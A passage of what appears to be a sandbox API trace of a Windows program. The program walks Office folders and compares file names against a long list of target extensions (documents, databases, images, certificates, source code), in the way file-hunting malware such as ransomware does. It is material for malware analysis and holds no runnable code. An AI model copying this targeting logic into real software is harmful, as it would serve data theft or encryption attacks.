(lpString1=".cin", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".class") returned 6 [0034.645] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0034.645] lstrlenW (lpString=".clx") returned 4 [0034.645] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".config") returned 7 [0034.645] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0034.645] lstrlenW (lpString=".cpp") returned 4 [0034.645] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cr2") returned 4 [0034.645] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".crt") returned 4 [0034.645] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".crw") returned 4 [0034.646] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".cs") returned 3 [0034.646] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0034.646] lstrlenW (lpString=".css") returned 4 [0034.646] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".csv") returned 4 [0034.646] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".cub") returned 4 [0034.646] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dae") returned 4 [0034.646] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dat") returned 4 [0034.646] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".db") returned 3 [0034.646] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0034.646] lstrlenW (lpString=".dbf") returned 4 [0034.646] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dbx") returned 4 [0034.646] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dc3") returned 4 [0034.646] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dcm") returned 4 [0034.646] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dcr") returned 4 [0034.646] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".der") returned 4 [0034.646] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dib") returned 4 [0034.646] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dic") returned 4 [0034.646] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".dif") returned 4 [0034.646] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0034.646] lstrlenW (lpString=".divx") returned 5 [0034.646] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".djvu") returned 5 [0034.647] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".dng") returned 4 [0034.647] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".doc") returned 4 [0034.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".docm") returned 5 [0034.647] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".docx") returned 5 [0034.647] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".dot") returned 4 [0034.647] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dotm") returned 5 [0034.647] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".dotx") returned 5 [0034.647] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0034.647] lstrlenW (lpString=".dpx") returned 4 [0034.647] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dqy") returned 4 [0034.647] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dsn") returned 4 [0034.647] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dt") returned 3 [0034.647] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0034.647] lstrlenW (lpString=".dtd") returned 4 [0034.647] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dwg") returned 4 [0034.647] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dwt") returned 4 [0034.647] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".dx") returned 3 [0034.647] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0034.647] lstrlenW (lpString=".dxf") returned 4 [0034.647] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0034.647] lstrlenW (lpString=".edml") returned 5 [0034.648] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0034.648] lstrlenW (lpString=".efd") returned 4 [0034.648] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".elf") returned 4 [0034.648] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".emf") returned 4 [0034.648] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".emz") returned 4 [0034.648] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".epf") returned 4 [0034.648] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".eps") returned 4 [0034.648] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".epsf") returned 5 [0034.648] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0034.648] lstrlenW (lpString=".epsp") returned 5 [0034.648] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0034.648] lstrlenW (lpString=".erf") returned 4 [0034.648] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".exr") returned 4 [0034.648] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".f4v") returned 4 [0034.648] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".fido") returned 5 [0034.648] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0034.648] lstrlenW (lpString=".flm") returned 4 [0034.648] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".flv") returned 4 [0034.648] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".frm") returned 4 [0034.648] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".fxg") returned 4 [0034.648] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0034.648] lstrlenW (lpString=".geo") returned 4 [0034.649] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".gif") returned 4 [0034.649] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".grs") returned 4 [0034.649] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".gz") returned 3 [0034.649] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0034.649] lstrlenW (lpString=".h") returned 2 [0034.649] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0034.649] lstrlenW (lpString=".hdr") returned 4 [0034.649] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".hpp") returned 4 [0034.649] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".hta") returned 4 [0034.649] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".htc") returned 4 [0034.649] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".htm") returned 4 [0034.649] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".html") returned 5 [0034.649] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0034.649] lstrlenW (lpString=".icb") returned 4 [0034.649] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".ics") returned 4 [0034.649] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".iff") returned 4 [0034.649] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".inc") returned 4 [0034.649] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".indd") returned 5 [0034.649] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0034.649] lstrlenW (lpString=".ini") returned 4 [0034.649] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0034.649] lstrlenW (lpString=".iqy") returned 4 [0034.650] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".j2c") returned 4 [0034.650] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".j2k") returned 4 [0034.650] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".java") returned 5 [0034.650] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0034.650] lstrlenW (lpString=".jp2") returned 4 [0034.650] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".jpc") returned 4 [0034.650] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".jpe") returned 4 [0034.650] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".jpeg") returned 5 [0034.650] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0034.650] lstrlenW (lpString=".jpf") returned 4 [0034.650] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".jpg") returned 4 [0034.650] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".jpx") returned 4 [0034.650] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".js") returned 3 [0034.650] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0034.650] lstrlenW (lpString=".jsf") returned 4 [0034.650] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".json") returned 5 [0034.650] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0034.650] lstrlenW (lpString=".jsp") returned 4 [0034.650] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".kdc") returned 4 [0034.650] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".kmz") returned 4 [0034.650] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0034.650] lstrlenW (lpString=".kwm") returned 4 [0034.650] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".lasso") returned 6 [0034.651] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0034.651] lstrlenW (lpString=".lbi") returned 4 [0034.651] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".lgf") returned 4 [0034.651] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".lgp") returned 4 [0034.651] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".log") returned 4 [0034.651] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".m1v") returned 4 [0034.651] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".m4a") returned 4 [0034.651] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".m4v") returned 4 [0034.651] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".max") returned 4 [0034.651] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".md") returned 3 [0034.651] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0034.651] lstrlenW (lpString=".mda") returned 4 [0034.651] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mdb") returned 4 [0034.651] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mde") returned 4 [0034.651] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mdf") returned 4 [0034.651] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mdw") returned 4 [0034.651] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mef") returned 4 [0034.651] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0034.651] lstrlenW (lpString=".mft") returned 4 [0034.651] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mfw") returned 4 [0034.652] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mht") returned 4 [0034.652] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mhtml") returned 6 [0034.652] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0034.652] lstrlenW (lpString=".mka") returned 4 [0034.652] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mkidx") returned 6 [0034.652] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0034.652] lstrlenW (lpString=".mkv") returned 4 [0034.652] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mos") returned 4 [0034.652] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mov") returned 4 [0034.652] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mp3") returned 4 [0034.652] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mp4") returned 4 [0034.652] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mpeg") returned 5 [0034.652] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0034.652] lstrlenW (lpString=".mpg") returned 4 [0034.652] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mpv") returned 4 [0034.652] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mrw") returned 4 [0034.652] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".msg") returned 4 [0034.652] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".mxl") returned 4 [0034.652] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0034.652] lstrlenW (lpString=".myd") returned 4 [0034.652] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".myi") returned 4 [0034.653] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".nef") returned 4 [0034.653] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".nrw") returned 4 [0034.653] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".obj") returned 4 [0034.653] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".odb") returned 4 [0034.653] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".odc") returned 4 [0034.653] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".odm") returned 4 [0034.653] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".odp") returned 4 [0034.653] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".ods") returned 4 [0034.653] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".oft") returned 4 [0034.653] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".one") returned 4 [0034.653] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".onepkg") returned 7 [0034.653] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0034.653] lstrlenW (lpString=".onetoc2") returned 8 [0034.653] lstrcmpiW (lpString1=".onetoc2", lpString2="sMUI.XML") returned -1 [0034.653] lstrlenW (lpString=".opt") returned 4 [0034.653] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".oqy") returned 4 [0034.653] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".orf") returned 4 [0034.653] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".p12") returned 4 [0034.653] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0034.653] lstrlenW (lpString=".p7b") returned 4 [0034.654] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".p7c") returned 4 [0034.654] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pam") returned 4 [0034.654] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pbm") returned 4 [0034.654] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pct") returned 4 [0034.654] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pcx") returned 4 [0034.654] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pdd") returned 4 [0034.654] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pdf") returned 4 [0034.654] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pdp") returned 4 [0034.654] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pef") returned 4 [0034.654] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pem") returned 4 [0034.654] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pff") returned 4 [0034.654] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pfm") returned 4 [0034.654] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pfx") returned 4 [0034.654] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".pgm") returned 4 [0034.654] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".php") returned 4 [0034.654] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0034.654] lstrlenW (lpString=".php3") returned 5 [0034.654] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0034.654] lstrlenW (lpString=".php4") returned 5 [0034.655] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".php5") returned 5 [0034.655] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".phtml") returned 6 [0034.655] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0034.655] lstrlenW (lpString=".pict") returned 5 [0034.655] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".pl") returned 3 [0034.655] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0034.655] lstrlenW (lpString=".pls") returned 4 [0034.655] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".pm") returned 3 [0034.655] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0034.655] lstrlenW (lpString=".png") returned 4 [0034.655] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".pnm") returned 4 [0034.655] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".pot") returned 4 [0034.655] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".potm") returned 5 [0034.655] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".potx") returned 5 [0034.655] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".ppa") returned 4 [0034.655] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".ppam") returned 5 [0034.655] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".ppm") returned 4 [0034.655] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".pps") returned 4 [0034.655] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0034.655] lstrlenW (lpString=".ppsm") returned 5 [0034.655] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0034.655] lstrlenW (lpString=".ppt") returned 4 [0034.655] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".pptm") returned 5 [0034.656] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0034.656] lstrlenW (lpString=".pptx") returned 5 [0034.656] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0034.656] lstrlenW (lpString=".prn") returned 4 [0034.656] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".ps") returned 3 [0034.656] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0034.656] lstrlenW (lpString=".psb") returned 4 [0034.656] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".psd") returned 4 [0034.656] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".pst") returned 4 [0034.656] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".ptx") returned 4 [0034.656] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".pub") returned 4 [0034.656] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".pwm") returned 4 [0034.656] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".pxr") returned 4 [0034.656] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".py") returned 3 [0034.656] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0034.656] lstrlenW (lpString=".qt") returned 3 [0034.656] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0034.656] lstrlenW (lpString=".r3d") returned 4 [0034.656] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0034.656] lstrlenW (lpString=".raf") returned 4 [0034.656] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0034.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0034.657] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.657] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.657] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0034.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.658] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.658] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0034.658] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.659] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.659] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0034.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.659] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, 